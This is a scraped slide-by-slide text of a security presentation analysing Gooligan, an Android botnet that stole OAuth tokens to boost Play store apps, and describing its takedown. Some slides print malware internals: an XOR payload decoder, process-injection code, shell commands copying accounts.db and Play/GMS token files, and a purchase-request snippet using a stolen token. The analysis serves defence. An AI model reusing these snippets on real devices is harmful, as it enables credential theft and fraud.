1st large scale oauth stealing botnet
play

& 1st large scale oauth stealing botnet & Secure - PowerPoint PPT Presentation

& 1st large scale oauth stealing botnet & Secure delegation mechanism De-facto authentication standard & & Exploit server Play store fake install/comments Ads injection Repacked (non-google) app Registration


  1. &

  2. 1st large scale oauth stealing botnet &

  3. Secure delegation mechanism De-facto authentication standard &

  4. &

  5. Exploit server Play store fake install/comments Ads injection Repacked (non-google) app Registration Fraudulent app & ads server promotion C&C &

  6. Infection Discovery Monetization schema Affected devices Remediation

  7. Payload Exploit Phone Persistence Play store decoding downloading rooting setup injection Classic ghost push Gooligan &

  8. Payload hidden in fake image /assets/close.png Use a hardcoded XOR function &

  9. Header (10 bytes) Val 1 Val 2 XOR Key (10 bytes) XOR Key Payload Stage 2 payload Footer (10 bytes) Val 2 Val 1 &

  10. XOR key of length 10 - hard-coded into the payload with open(argv[1], 'rb') as f: png = f.read() key = itertools.cycle(png[10:20]) decrypted = [chr(ord(k) ^ ord(d)) for k, d in itertools.izip(key, png[20:-10])] with open(argv[2], 'wb') as output: output.write(‘’.join(decrypted)) &

  11. Kingroot exploit pack Target Android 3.x and 4.x &

  12. Add utilities in system partition Backdoor recovery &

  13. 1. Inject shared object in Play store app 2. Listen to multiple events to wake-up 3. Used to load malicious DEX files &

  14. int main(int argc, char** argv) { pid_t target_pid; target_pid = find_pid_of("/system/bin/surfaceflinger"); if (-1 == target_pid) { Injected process pid: Play app printf("Can't find the process\n"); return -1; } //target_pid = find_pid_of("/data/test"); inject_remote_process(target_pid, "/data/libhello.so", "hook_entry", "I'm parameter!", strlen("I'm parameter!")); return 0; Library to inject: igpld.so } https://github.com/jekinleeph/LibInjectAll/blob/master/inject.c &

  15. the string oversea_adjust_read_redis was buried in patient zero sample &

  16. http://www.cnblogs.com/beautiful-code/p/5750382.html &

  17. &

  18. &

  19. &

  20. 52.220.249.y 139.162.2.x &

  21. &

  22. app boosting &

  23. Oauth token solely used to interact with the Play store Full boosting package &

  24. Server based fraudulent installs are ? mostly ineffective Attempt to masquerade as a real device &

  25. Gooligan C&C sync Play store download & review Accounts.db Oauth token Play store apk access exchange injection &

  26. cat /data/system/users/0/accounts.db > `pwd`/.agp.d cat /data/data/com.google.android.gms/shared_prefs/Checkin.xml > `pwd`/.agp.e cat /data/data/com.android.vending/shared_prefs/finsky.xml > `pwd`/.agp.f &

  27. Perform SQLite queries to find tokens Look for specific tokens &

  28. Gooligan C&C sync Play store download & review Accounts.db Oauth token Play store apk access exchange injection &

  29. Malware reports phone information Server provides fraud info &

  30. Exfiltrated data was used to mimic realistic phone in fraudulent requests ? Data used on non-rooted phones &

  31. Gooligan C&C sync Play store download & review Accounts.db Oauth token Play store apk access exchange injection &

  32. Get a refreshed oauth token Solely used for play &

  33. Gooligan C&C sync Play store download & review Accounts.db Oauth token Play store apk access exchange injection &

  34. Try to mimic a real install May leave a review &

  35. public static AndroidAppDeliveryData purchase(Detail detail, AndroidInfo info) { <snip> header.put("X-DFE-Device-Id", DeviceUtil.deviceId); header.put("Authorization", "GoogleLogin auth=" + info.token); header.put("X-Public-Android-Id", DeviceUtil.androidId); header.put("X-DFE-Signature-Request", DeviceUtil.getOnceSign()); </snip> NanoProtoHelper.getParsedResponseFromWrapper(ResponseWrapper.parseFrom(Utils.readBytes(n ew GZIPInputStream(Http.post("https://android.clients.google.com/fdfe/purchase", json.getBytes(), header, Http.FORM)))).payload, } & found in com.android.vending.HttpRequest

  36. Play anti-abuse defenses removed 100% of the fake installs & comments Abusive apps and developers were suspended &

  37. Ads injection &

  38. Ads injection Ads popup for “real” apps Attribution washing &

  39. 35M &

  40. manufacturers &

  41. Android version &

  42. geo-distribution 19% infections from India 80% from emerging countries &

  43. Command and Control takedown Token revocation &

  44. &

  45. Sinkholing analytics fixed &

  46. &

  47. Oauth botnet as emerging threat Stronger together Extremely fast takedown &

  48. &

  49. &

  50. &

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend